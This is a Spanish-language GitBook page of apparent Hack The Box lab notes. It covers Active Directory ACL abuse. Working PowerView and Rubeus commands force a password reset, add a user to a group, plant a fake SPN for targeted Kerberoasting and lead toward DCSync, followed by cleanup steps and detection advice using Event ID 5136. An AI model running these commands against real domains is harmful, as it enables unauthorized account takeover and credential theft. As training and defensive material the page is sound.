> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/active-directory/acls-abuse-tactics.md).

# ACLs Abuse Tactics

### Creando un objeto PS Credential

```powershell
$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)
```

### Creando un objeto SecureString

Representa la contraseña que queremos configurar del usuario target

```powershell
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
```

### Cambiando la contraseña del target

```powershell
cd C:\Tools\
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
```

Ahora que tenemos las credenciales nuevas del target damundsen, nos autenticamos y agregamos a un grupo, por ejemplo Help Desk Level 1

### Creamos un objeto Secure String para el target&#x20;

```powershell
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)
```

### Verificamos que el usuario no pertenece al grupo

```powershell
Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members
```

### Agregamos al usuario al grupo Help Desk Level 1&#x20;

```powershell
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
```

### Revisamos que el usuario fue agregado correctamente

```powershell
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName
```

Aprovechando los permisos `GenericAll` heredados al añadir a `damundsen` al grupo *Help Desk Level 1* (y anidadamente a TI), podemos comprometer la cuenta de administrador ininterrumpible `adunn` mediante un ataque de Kerberoasting dirigido. Esto se logra modificando su atributo `servicePrincipalName` para crear un SPN falso usando `Set-DomainObject`, lo que permite solicitar el ticket TGS y crackear el hash offline con Hashcat; de forma alternativa, desde Linux, la herramienta `targetedKerberoast` automatiza la creación del SPN temporal, la obtención del hash y la limpieza del entorno en un solo comando.

### Creacion del falso SPN

```powershell
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
```

Con el falso SPN creado, el usuario ya deberia ser kerberoasteable, es por ello que usaremos Rubeus para probar

### Kerberoasting con Rubeus

```powershell
.\Rubeus.exe kerberoast /user:adunn /nowrap
```

Luego de obtener el hash, lo crackeamos con hashcat

Con la contraseña en texto claro, nos autenticamos como el usuario objetivo y probamos un DCSync

### Eliminacion de rastros de lo realizado en la maquina

Para borrar el rastro que dejamos, seguimos el siguiente orden:<br>

1. Eliminar el falso SPN que creamos en el usuario adunn

```powershell
Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose
```

2. Quitamos al usuario damundsen del grupo Help Desk Level 1

```powershell
Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose
```

Confirmamos si el usuario fue removido del grupo

```powershell
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName |? {$_.MemberName -eq 'damundsen'} -Verbose
```

3. Realizar rollback de contraseña del usuario damundsen o que el cliente lo realice con conocimiento del usuario

### Deteccion y Remediacion

Algunas recomendaciones de Hack The box:<br>

#### Auditar y eliminar ACLs peligrosas

Las organizaciones deberían realizar auditorías periódicas de Active Directory, pero también capacitar al personal interno para que utilice herramientas como BloodHound e identifique las listas de control de acceso (ACL) potencialmente peligrosas que se pueden eliminar.

#### Monitorear a los miembros de los grupos creados

La visibilidad de los grupos importantes es fundamental. Todos los grupos de alto impacto en el dominio deben ser monitoreados para alertar al personal de TI sobre cambios que podrían indicar una cadena de ataque de ACL.

#### Auditar y monitorear los cambios realizados en los ACLs

Habilitar la política de auditoría de seguridad avanzada  [Advanced Security Audit Policy](https://docs.microsoft.com/en-us/archive/blogs/canitpro/step-by-step-enabling-advanced-security-audit-policy-via-ds-access) puede ayudar a detectar cambios no deseados, especialmente el ID de evento [Event ID 5136: A directory service object was modified](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136), lo que indicaría que se modificó el objeto de dominio, lo cual podría ser indicativo de un ataque a la ACL. Si revisamos el registro de eventos después de modificar la ACL del objeto de dominio, veremos que se creó un evento con el ID 5136:

<figure><img src="/files/C6WjLhxEFZRPQ9MyOnZF" alt=""><figcaption></figcaption></figure>

Si consultamos la pestaña Detalles, podemos ver que la información pertinente está escrita en el Lenguaje de Definición de Descriptores de Seguridad (SDDL) [Security Descriptor Definition Language (SDDL)](https://docs.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language), que no es legible para los humanos.

<figure><img src="/files/are8g2SA0vp3e8jwbgN2" alt=""><figcaption></figcaption></figure>

Podemos usar el  [ConvertFrom-SddlString cmdlet](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/convertfrom-sddlstring?view=powershell-7.2) para convertirlo a un formato legible.

```powershell
ConvertFrom-SddlString "STRING"
```

<figure><img src="/files/DWRzWDf67V7ORjTCHrfj" alt=""><figcaption></figcaption></figure>

Si optamos por filtrar por la propiedad DiscretionaryAcl, podemos ver que la modificación probablemente otorgó al usuario mrb3n privilegios GenericWrite sobre el propio objeto de dominio, lo que podría ser indicativo de un intento de ataque.

```powershell
ConvertFrom-SddlString "STRING" | select -ExpandProperty DiscretionaryAcl
```

<figure><img src="/files/n7QBnJ7IsEAPWs7b2DHp" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/active-directory/acls-abuse-tactics.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
